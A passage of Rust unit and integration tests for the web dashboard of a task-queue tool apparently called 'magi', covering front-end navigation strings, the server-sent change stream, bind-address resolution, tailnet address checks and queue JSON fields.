15686        // consumeQueueFocus() clears an active Backlog search before it can
15687        // scroll to the target card (the sections list is hidden while a
15688        // search is showing), by recursing back into renderQueue(). The
15689        // fixer's first cut nulled state.queueFocus before that recursive
15690        // call, so the second pass saw nothing to jump to and the jump was
15691        // silently dropped whenever a notification's link was opened with a
15692        // stale search still active. state.queueFocus must only be cleared
15693        // right before jumpToTask() actually runs.
15694        assert!(
15695            APP_JS.contains(
15696                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
15697            ),
15698            "the search-clearing branch must run before state.queueFocus is cleared, or the \
15699             recursive renderQueue() call has nothing left to jump to"
15700        );
15701        assert!(
15702            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15703            "state.queueFocus must be cleared only once the jump has landed, so a card that \
15704             arrives later still gets it"
15705        );
15706        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15707        assert!(APP_JS.contains("is not in the current Backlog."));
15708        assert!(APP_JS.contains("li.card[data-task-id=\""));
15709        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15710        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15711        assert!(APP_CSS.contains(".card-permalink"));
15712        assert!(APP_CSS.contains(".queue-focus-status"));
15713        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15714    }
15715
15716    #[test]
15717    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15718        // The task's own repro: only the link text inside .notice-meta was
15719        // clickable, so a tap on the message, the timestamp, or the card's
15720        // padding did nothing - on a phone that reads as "the card doesn't
15721        // work" even though the tiny link inside it did. Mark read / Dismiss
15722        // must keep working independently of this: `.closest("a, button")`
15723        // is what lets a tap that actually lands on those elements fall
15724        // through instead of being hijacked into a navigation.
15725        assert!(
15726            APP_JS.contains(
15727                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15728            ),
15729            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15730        );
15731    }
15732
15733    #[test]
15734    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15735        assert!(
15736            APP_JS.contains("round.verified_head !== round.head"),
15737            "a round that verified an earlier commit must be visibly distinct from one that \
15738             verified the head reviewers are looking at now"
15739        );
15740        assert!(
15741            APP_JS.contains("round.verified_at"),
15742            "when a check ran must be on the wire, not just which commit"
15743        );
15744        assert!(
15745            APP_JS.contains("resource_blocked"),
15746            "a command magi never got to run (shared build cache contention) must not render \
15747             the same as a command that ran and failed"
15748        );
15749    }
15750
15751    #[test]
15752    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15753        // Every KPI tile but Total runs and Completion names an exact
15754        // RunStatus and hands it to openRunsFiltered(), which is what wires
15755        // the click into state.runsFilter.status (matchesFilter's own
15756        // status check) rather than the coarser runsStateFilter chips. Each
15757        // status literal here must be one of the strings runSection() (and
15758        // isStale()) actually compare a run's own `status` field against -
15759        // a status this dashboard invented would filter to nothing.
15760        assert!(
15761            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15762            "every KPI tile built through statusTile() must route its click through \
15763             openRunsFiltered, the single place that sets the Runs filter"
15764        );
15765        for (label, status) in [
15766            ("Merged", "merged"),
15767            ("Ready", "ready"),
15768            ("Blocked", "blocked"),
15769            ("Stalled", "stalled"),
15770        ] {
15771            let call = format!("statusTile(\"{label}\", t.{status}, ");
15772            assert!(
15773                APP_JS.contains(&call),
15774                "expected the {label} KPI tile built via {call}..."
15775            );
15776            assert!(
15777                APP_JS.contains(&format!("status === \"{status}\"")),
15778                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15779                 compare a run against, not one invented only for the stats tile"
15780            );
15781        }
15782        assert!(
15783            APP_JS.contains("function openRunsFiltered(status)"),
15784            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15785        );
15786        assert!(
15787            APP_JS.contains(
15788                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15789            ),
15790            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15791        );
15792        // applyRoute() only flips which view is visible for a plain `#runs`
15793        // hash - it does not itself redraw the list (see applyRoute's own
15794        // handling below) - so openRunsFiltered must call renderRuns()
15795        // itself, and must call applyRoute() too so the view flips even
15796        // when the hash string doesn't change (the operator may already be
15797        // on the Runs view when a tile is tapped, which fires no
15798        // hashchange event at all).
15799        assert!(
15800            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
15801            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15802             hashchange event that may never fire"
15803        );
15804    }
15805
15806    #[test]
15807    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15808        // A stats tile can leave state.runsFilter.status set to something
15809        // done-by-construction (e.g. "merged") - picking "Active" afterward
15810        // must drop it the same way an incompatible tree section is already
15811        // dropped, or the Runs list renders permanently empty with no way
15812        // for the operator to tell why.
15813        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15814        assert!(
15815            APP_JS.contains(
15816                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
15817            ),
15818            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15819             guard for an incompatible tree section"
15820        );
15821    }
15822
15823    #[test]
15824    fn every_stats_queue_tile_names_a_real_queue_section() {
15825        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
15826        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
15827        // (consumeQueueSectionFocus finds no matching <details> and drops
15828        // the focus) rather than fail loudly, so pin every key against the
15829        // section list it has to resolve against.
15830        assert!(
15831            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15832            "every queue tile built through sectionTile() must route its click through \
15833             openQueueSectionFocus"
15834        );
15835        for key in ["upnext", "running", "done", "held", "blocked"] {
15836            assert!(
15837                APP_JS.contains(&format!("{{ key: \"{key}\",")),
15838                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15839            );
15840        }
15841        // Queued and Failed intentionally both resolve to "upnext" - the
15842        // same section queueSection() itself files them under - rather than
15843        // getting a section each.
15844        for line in [
15845            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15846            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15847            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15848            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15849            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15850            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15851        ] {
15852            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15853        }
15854    }
15855
15856    #[test]
15857    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15858        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
15859        // above for the section-focus channel a stats queue tile drives:
15860        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
15861        // through the stale-search-clear recursion into renderQueue(), and
15862        // clear it only once revealQueueSection() is actually about to run -
15863        // the same trap that once silently dropped a task-focus jump.
15864        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15865        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15866        assert!(APP_JS.contains("function revealQueueSection(details)"));
15867        assert!(
15868            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
15869            "renderQueue() must consume both focus channels on every pass"
15870        );
15871        assert!(
15872            APP_JS.contains(
15873                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
15874            ),
15875            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15876             the recursive renderQueue() call has nothing left to reveal"
15877        );
15878        assert!(
15879            APP_JS.contains(
15880                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
15881            ),
15882            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15883        );
15884        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
15885        // task-focus form of the hash - a plain `#queue` navigation only
15886        // flips which view is visible. openQueueSectionFocus() must
15887        // therefore call renderQueue() itself, and applyRoute() too so the
15888        // view flips even when the hash doesn't change (the Backlog may
15889        // already be open when a tile is tapped, firing no hashchange
15890        // event at all).
15891        assert!(
15892            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
15893            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15894             hashchange event that may never fire"
15895        );
15896    }
15897
15898    #[tokio::test]
15899    async fn the_change_stream_announces_the_current_revisions_on_connect() {
15900        let f = Fixture::start().await;
15901
15902        let mut socket = tokio::net::TcpStream::connect(f.addr)
15903            .await
15904            .expect("connect");
15905        socket
15906            .write_all(
15907                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15908            )
15909            .await
15910            .expect("write request");
15911
15912        // Read until the first event arrives rather than to end of stream: the
15913        // stream is endless by design, which is the point of the route.
15914        let mut seen = String::new();
15915        let mut buf = [0u8; 1024];
15916        while !seen.contains("event: change") {
15917            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15918                .await
15919                .expect("the stream must speak within five seconds")
15920                .expect("read");
15921            assert!(read > 0, "the server closed the change stream: {seen}");
15922            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15923        }
15924
15925        assert!(
15926            seen.to_lowercase()
15927                .contains("content-type: text/event-stream"),
15928            "the browser only reconnects automatically for a real SSE stream: {seen}"
15929        );
15930        let data = seen
15931            .lines()
15932            .find_map(|l| l.strip_prefix("data:"))
15933            .expect("a data line");
15934        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15935        assert!(
15936            payload["queue_rev"].is_u64()
15937                && payload["runs_rev"].is_u64()
15938                && payload["questions_rev"].is_u64()
15939                && payload["talks_rev"].is_u64()
15940                && payload["notifications_rev"].is_u64()
15941                && payload["loop_rev"].is_u64(),
15942            "the client needs one revision per store to know what to refetch, \
15943             and `talks_rev` is the only notification a standing talk gets - a \
15944             phone whose radio slept through a turn learns about it here, as \
15945             does one whose operator started the loop from another device: \
15946             {payload}"
15947        );
15948
15949        // The front end re-polls health on a timer and on wake, and takes the
15950        // revisions from that answer whenever the stream is not up. So health
15951        // has to carry every key the stream carries: a phone on a link that
15952        // will not hold an SSE connection is exactly the phone that must still
15953        // notice a question, and a missing key there is not a 500 but a UI
15954        // that quietly stops updating.
15955        let health = f.get("/api/health").await.json();
15956        for key in [
15957            "queue_rev",
15958            "runs_rev",
15959            "questions_rev",
15960            "talks_rev",
15961            "notifications_rev",
15962            "loop_rev",
15963        ] {
15964            assert!(
15965                health[key].is_u64(),
15966                "health is the change stream's fallback and is missing `{key}`: {health}"
15967            );
15968        }
15969    }
15970
15971    #[tokio::test]
15972    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15973        let f = Fixture::start().await;
15974        let before = f.get("/api/health").await.json()["talks_rev"]
15975            .as_u64()
15976            .expect("talks_rev");
15977
15978        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15979        std::thread::sleep(Duration::from_millis(10));
15980        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15981        on_disk.turns.push(crate::talk::Turn {
15982            breaks: Some(Vec::new()),
15983            messages: Vec::new(),
15984            posted_by: None,
15985            who: crate::talk::Who::Operator,
15986            body: "a new turn".to_owned(),
15987            at: Timestamp::now(),
15988            attachments: Vec::new(),
15989            usage: None,
15990        });
15991        f.talks().put(&mut on_disk).expect("record a turn");
15992
15993        let after = f.get("/api/health").await.json()["talks_rev"]
15994            .as_u64()
15995            .expect("talks_rev");
15996        assert_ne!(
15997            before, after,
15998            "a phone must be able to notice a talk's reply without polling every store"
15999        );
16000    }
16001
16002    #[test]
16003    fn bind_reads_back_from_the_spelling_the_cli_prints() {
16004        // The CLI shows the default in `--help` and parses whatever comes
16005        // back, so the two directions have to agree or `--bind auto` breaks
16006        // the moment someone copies the help text.
16007        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
16008            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
16009        }
16010        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
16011        assert!("everywhere".parse::<Bind>().is_err());
16012    }
16013
16014    #[test]
16015    fn an_explicit_bind_address_is_taken_verbatim() {
16016        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
16017
16018        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
16019
16020        assert_eq!(addr, asked);
16021        assert!(
16022            warning.is_none(),
16023            "an operator who named an address gets no lecture"
16024        );
16025    }
16026
16027    #[test]
16028    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
16029        let (addr, warning) = resolve_bind(&Bind::Auto);
16030
16031        // This has to hold on a CI runner with no `tailscale` and on a dev box
16032        // with one, so the invariant asserted is the one shared by both
16033        // outcomes: the address is either a real tailnet address offered
16034        // without comment, or loopback with an explanation. What must never
16035        // happen is a silent fallback - an operator told "listening on
16036        // 127.0.0.1" with no reason would go looking for a firewall.
16037        match addr {
16038            IpAddr::V4(ip) if is_tailnet(&ip) => {
16039                assert!(warning.is_none(), "a tailnet address needs no warning");
16040            }
16041            other => {
16042                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
16043                let warning = warning.expect("a fallback has to explain itself");
16044                assert!(
16045                    warning.contains("127.0.0.1") && warning.contains("local-only"),
16046                    "the warning says what happened and what it costs: {warning}"
16047                );
16048            }
16049        }
16050    }
16051
16052    #[test]
16053    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
16054        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
16055        // boundary cases are what stop us binding to some other tool's idea of
16056        // an address.
16057        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
16058        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
16059        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
16060        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
16061        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
16062    }
16063
16064    #[test]
16065    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
16066        let ids = vec![
16067            "20260902-140501-aaaa".to_owned(),
16068            "20260902-140502-aabb".to_owned(),
16069        ];
16070
16071        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
16072        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
16073        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
16074
16075        assert_eq!(missing.status, StatusCode::NOT_FOUND);
16076        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
16077        assert_eq!(short, "20260902-140502-aabb");
16078    }
16079    #[tokio::test]
16080    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
16081        // The prompt tells agents to reference attachments by bare filename.
16082        // A document served at `.../panel` resolves `shot.png` against its own
16083        // directory, i.e. `.../shot.png`, which is not the asset route - so a
16084        // panel written exactly as instructed showed broken images. Caught by
16085        // looking at a real one in a browser, not by reading the code.
16086        let fx = Fixture::start().await;
16087        let id = panel(
16088            &fx,
16089            "<img src=\"shot.png\">",
16090            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
16091        );
16092
16093        // The frame's own URL ends in a filename, so its siblings are reachable.
16094        let doc = fx
16095            .get(&format!("/api/questions/{id}/panel/index.html"))
16096            .await;
16097        assert_eq!(doc.status, 200, "{}", doc.body);
16098        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
16099
16100        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
16101        assert_eq!(sibling.status, 200, "{}", sibling.body);
16102        assert_eq!(sibling.header("content-type"), Some("image/png"));
16103        assert_eq!(
16104            sibling.header("content-security-policy"),
16105            Some(PANEL_CSP),
16106            "the sibling route must carry the same policy as the asset route"
16107        );
16108
16109        // The original spelling keeps working: HEAD on it is how the front end
16110        // decides whether to mount a frame at all.
16111        assert_eq!(
16112            fx.head(&format!("/api/questions/{id}/panel")).await.status,
16113            200
16114        );
16115    }
16116
16117    #[test]
16118    fn delta_stamps_cover_add_update_remove_and_noop() {
16119        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
16120        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
16121        let delta = diff_stamps(&before, &after, 42);
16122        assert_eq!(delta.base, 42);
16123        assert_eq!(delta.changed, ["b", "c"]);
16124        assert_eq!(delta.removed, ["a"]);
16125        let same = diff_stamps(&after, &after, 43);
16126        assert!(same.changed.is_empty() && same.removed.is_empty());
16127        assert_ne!(stamps_revision(&before), stamps_revision(&after));
16128        let nanos: Stamps = [("b".into(), (2, 20))].into();
16129        let same_ms: Stamps = [("b".into(), (3, 20))].into();
16130        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
16131        assert_eq!(stamps_revision(&Stamps::new()), 0);
16132    }
16133
16134    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
16135        std::fs::create_dir_all(home.join("runs")).unwrap();
16136        Arc::new(Ui::new(
16137            Queue::at(home.join("queue")),
16138            Questions::at(home.join("questions")),
16139            Talks::at(home.join("talks")),
16140            home.join("runs"),
16141            home.to_owned(),
16142            PathBuf::from("/repo/magi"),
16143        ))
16144    }
16145
16146    #[tokio::test]
16147    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
16148        let home = TempDir::new().unwrap();
16149        let ui = delta_test_ui(home.path());
16150        let mut task = Task::new(
16151            "stream task".into(),
16152            "text".into(),
16153            PathBuf::from("/repo"),
16154            Source::Human,
16155        );
16156        ui.queue.put(&mut task).unwrap();
16157        let response = events(State(ui.clone())).await.into_response();
16158        let mut stream = response.into_body().into_data_stream();
16159        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
16160            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
16161                .await
16162                .unwrap()
16163                .unwrap()
16164                .unwrap();
16165            let text = String::from_utf8(chunk.to_vec()).unwrap();
16166            let data = text
16167                .lines()
16168                .find_map(|line| {
16169                    line.strip_prefix("data: ")
16170                        .or_else(|| line.strip_prefix("data:"))
16171                })
16172                .unwrap();
16173            serde_json::from_str(data).unwrap()
16174        }
16175        let initial = change(&mut stream).await;
16176        assert!(initial.get("queue_delta").is_none());
16177        task.instruction.push_str(" changed");
16178        ui.queue.put(&mut task).unwrap();
16179        let updated = change(&mut stream).await;
16180        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
16181        assert_eq!(
16182            updated["queue_delta"]["changed"],
16183            serde_json::json!([task.id])
16184        );
16185        assert_eq!(
16186            updated["queue_rev"].as_u64(),
16187            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
16188        );
16189        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
16190        let removed = change(&mut stream).await;
16191        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
16192        assert_eq!(
16193            removed["queue_delta"]["removed"],
16194            serde_json::json!([task.id])
16195        );
16196    }
16197
16198    #[tokio::test]
16199    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
16200        let home = TempDir::new().unwrap();
16201        let ui = delta_test_ui(home.path());
16202        let queue = ui.queue.clone();
16203        let query = |ids: Option<&str>| {
16204            Query(ListQuery {
16205                limit: Some(2),
16206                ids: ids.map(str::to_owned),
16207            })
16208        };
16209        let mut root = Task::new(
16210            "root".into(),
16211            "instruction".into(),
16212            PathBuf::from("/repo"),
16213            Source::Human,
16214        );
16215        queue.put(&mut root).unwrap();
16216        let mut blocked = Task::new(
16217            "blocked".into(),
16218            "instruction".into(),
16219            PathBuf::from("/repo"),
16220            Source::Human,
16221        );
16222        blocked.block(vec![root.id.clone()], None);
16223        queue.put(&mut blocked).unwrap();
16224        let whole =
16225            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
16226                .unwrap();
16227        let subset = serde_json::to_value(
16228            queue_list(State(ui.clone()), query(Some(&root.id)))
16229                .await
16230                .unwrap()
16231                .0,
16232        )
16233        .unwrap();
16234        assert_eq!(whole, subset, "requested root plus its blocked dependent");
16235        let blockers = serde_json::to_value(
16236            queue_list(State(ui.clone()), query(Some("")))
16237                .await
16238                .unwrap()
16239                .0,
16240        )
16241        .unwrap();
16242        assert_eq!(blockers.as_array().unwrap().len(), 1);
16243        assert_eq!(blockers[0]["id"], blocked.id);
16244        assert_eq!(
16245            blockers[0]["waits_on"],
16246            whole
16247                .as_array()
16248                .unwrap()
16249                .iter()
16250                .find(|row| row["id"] == blocked.id)
16251                .unwrap()["waits_on"]
16252        );
16253
16254        for id in [
16255            "20260902-140501-aaaa",
16256            "20260902-140502-bbbb",
16257            "20260902-140503-cccc",
16258        ] {
16259            write_run(&ui.runs, id, RunStatus::Merged);
16260        }
16261        let old = serde_json::to_value(
16262            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
16263                .await
16264                .unwrap()
16265                .0,
16266        )
16267        .unwrap();
16268        assert!(
16269            old.as_array().unwrap().is_empty(),
16270            "older updates must not enter the window"
16271        );
16272        let newest = serde_json::to_value(
16273            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
16274                .await
16275                .unwrap()
16276                .0,
16277        )
16278        .unwrap();
16279        assert_eq!(newest.as_array().unwrap().len(), 1);
16280        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
16281
16282        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
16283        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
16284        let talks = serde_json::to_value(
16285            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
16286                .await
16287                .unwrap()
16288                .0,
16289        )
16290        .unwrap();
16291        assert_eq!(talks.as_array().unwrap().len(), 1);
16292        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
16293        assert_eq!(
16294            serde_json::to_value(
16295                talks_list(State(ui.clone()), query(Some("")))
16296                    .await
16297                    .unwrap()
16298                    .0
16299            )
16300            .unwrap(),
16301            serde_json::json!([])
16302        );
16303    }
16304
16305    #[tokio::test]
16306    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
16307    async fn delta_payload_benchmark() {
16308        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
16309        let ui = delta_test_ui(&home);
16310        let query = |ids: Option<String>| {
16311            Query(ListQuery {
16312                limit: Some(50),
16313                ids,
16314            })
16315        };
16316        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
16317        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
16318        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
16319        let queue_id = queue
16320            .iter()
16321            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
16322            .unwrap_or(&queue[0])
16323            .task
16324            .id
16325            .clone();
16326        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
16327            .await
16328            .unwrap()
16329            .0;
16330        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
16331            .await
16332            .unwrap()
16333            .0;
16334        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
16335            .await
16336            .unwrap()
16337            .0;
16338        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
16339        eprintln!(
16340            "DELTA_PAYLOAD {}",
16341            serde_json::json!({
16342                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
16343                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
16344                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
16345                "counts": [queue.len(), runs.len(), talks.len()],
16346                "blocked": queue_delta.len() - 1,
16347            })
16348        );
16349    }
16350
16351    #[test]
16352    fn runs_revision_moves_when_deleting_an_older_run() {
16353        let temp = TempDir::new().expect("tempdir");
16354        let runs = temp.path().join("runs");
16355        std::fs::create_dir_all(&runs).expect("create runs dir");
16356
16357        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
16358
16359        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
16360        std::thread::sleep(Duration::from_millis(10));
16361        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
16362
16363        let rev_before = runs_revision(&runs);
16364        assert!(rev_before > 0);
16365
16366        let old_dir = runs.join("20260901-100000-old1");
16367        std::fs::remove_dir_all(&old_dir).expect("remove old run");
16368
16369        let rev_after = runs_revision(&runs);
16370        assert_ne!(
16371            rev_before, rev_after,
16372            "deleting an older run must change the revision so other clients see the deletion"
16373        );
16374    }
16375
16376    /// A run's own `run.json` on an explicit `runs` root, bypassing the
16377    /// process-global home entirely — `RunState::save` writes through
16378    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
16379    /// (see `tests::home_lock` in the integration suite for why).
16380    fn write_state(runs: &FsPath, state: &RunState) {
16381        let dir = runs.join(&state.id);
16382        std::fs::create_dir_all(&dir).expect("run dir");
16383        std::fs::write(
16384            dir.join("run.json"),
16385            serde_json::to_string_pretty(state).expect("serialize run"),
16386        )
16387        .expect("write run.json");
16388    }
16389
16390    /// A seat starting or finishing is a write to `run.json` like any other,
16391    /// so it moves the same revision the change stream already watches —
16392    /// nothing new for `/api/events` to learn, but the property this feature
16393    /// depends on to reach the phone without a poll.
16394    #[test]
16395    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
16396        let temp = TempDir::new().expect("tempdir");
16397        let runs = temp.path().join("runs");
16398        std::fs::create_dir_all(&runs).expect("create runs dir");
16399        let mut state = RunState::new(
16400            PathBuf::from("/repo/magi"),
16401            "main".to_owned(),
16402            "0123456789abcdef".to_owned(),
16403            "task".to_owned(),
16404            Config::default(),
16405        );
16406        state.id = "20260902-100000-c0de".to_owned();
16407        write_state(&runs, &state);
16408
16409        let rev_idle = runs_revision(&runs);
16410        std::thread::sleep(Duration::from_millis(10));
16411        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
16412        write_state(&runs, &state);
16413        let rev_started = runs_revision(&runs);
16414        assert_ne!(
16415            rev_idle, rev_started,
16416            "a seat starting must move the revision"
16417        );
16418
16419        std::thread::sleep(Duration::from_millis(10));
16420        state.seat_finished("judge-1");
16421        write_state(&runs, &state);
16422        let rev_finished = runs_revision(&runs);
16423        assert_ne!(
16424            rev_started, rev_finished,
16425            "and clearing it again must move the revision a second time"
16426        );
16427    }
16428
16429    #[tokio::test]
16430    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
16431        // `TaskView` flattens `Task`, so this is really asserting that
16432        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
16433        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
16434        // never touched web.rs, so nothing here caught it if it had.
16435        let fx = Fixture::start().await;
16436        let q = fx.queue();
16437
16438        let mut t = Task::new(
16439            "Task".to_owned(),
16440            "Instruction".to_owned(),
16441            PathBuf::from("/repo"),
16442            Source::Human,
16443        );
16444        t.block(
16445            vec!["20260101-000000-dead".to_owned()],
16446            Some("waiting on Task 1".to_owned()),
16447        );
16448        t.answers.push(crate::queue::AnsweredQuestion {
16449            question: "Which backend?".to_owned(),
16450            answer: "SQLite".to_owned(),
16451        });
16452        q.put(&mut t).expect("put t");
16453
16454        let res = fx.get("/api/queue").await;
16455        assert_eq!(res.status, 200);
16456        let list = res.json();
16457        let view = list
16458            .as_array()
16459            .expect("array")
16460            .iter()
16461            .find(|v| v["id"] == t.id)
16462            .expect("task in list");
16463        assert_eq!(view["status_str"], "blocked");
16464        assert_eq!(
16465            view["blocked_by"],
16466            serde_json::json!(["20260101-000000-dead"])
16467        );
16468        assert_eq!(view["block_reason"], "waiting on Task 1");
16469        assert_eq!(view["answers"][0]["question"], "Which backend?");
16470        assert_eq!(view["answers"][0]["answer"], "SQLite");
16471
16472        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
16473        // but never `answers` - that is a settled decision, not state
16474        // describing the current block, so it survives.
16475        let res = fx
16476            .post(&format!("/api/queue/{}/hold", t.short()), None)
16477            .await;
16478        assert_eq!(res.status, 200);
16479        let held = res.json();
16480        assert_eq!(held["status_str"], "held");
16481        assert_eq!(held["blocked_by"], serde_json::json!([]));
16482        assert!(held["block_reason"].is_null());
16483        assert_eq!(held["answers"][0]["answer"], "SQLite");
16484    }
16485
16486    #[tokio::test]
16487    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
16488        let fx = Fixture::start().await;
16489        let q = fx.queue();
16490        let mk = |title: &str| {
16491            Task::new(
16492                title.to_owned(),
16493                "Instruction".to_owned(),
16494                PathBuf::from("/repo"),
16495                Source::Human,
16496            )
16497        };
16498        let mut root = mk("root");
16499        root.hold_manual(Some("waiting".to_owned()));
16500        q.put(&mut root).unwrap();
16501        let mut mid = mk("mid");
16502        mid.block(vec![root.id.clone()], None);
16503        q.put(&mut mid).unwrap();
16504        let mut leaf = mk("leaf");
16505        leaf.block(vec![mid.id.clone()], None);
16506        q.put(&mut leaf).unwrap();
16507
16508        let list = fx.get("/api/queue").await.json();
16509        let find = |id: &str| {
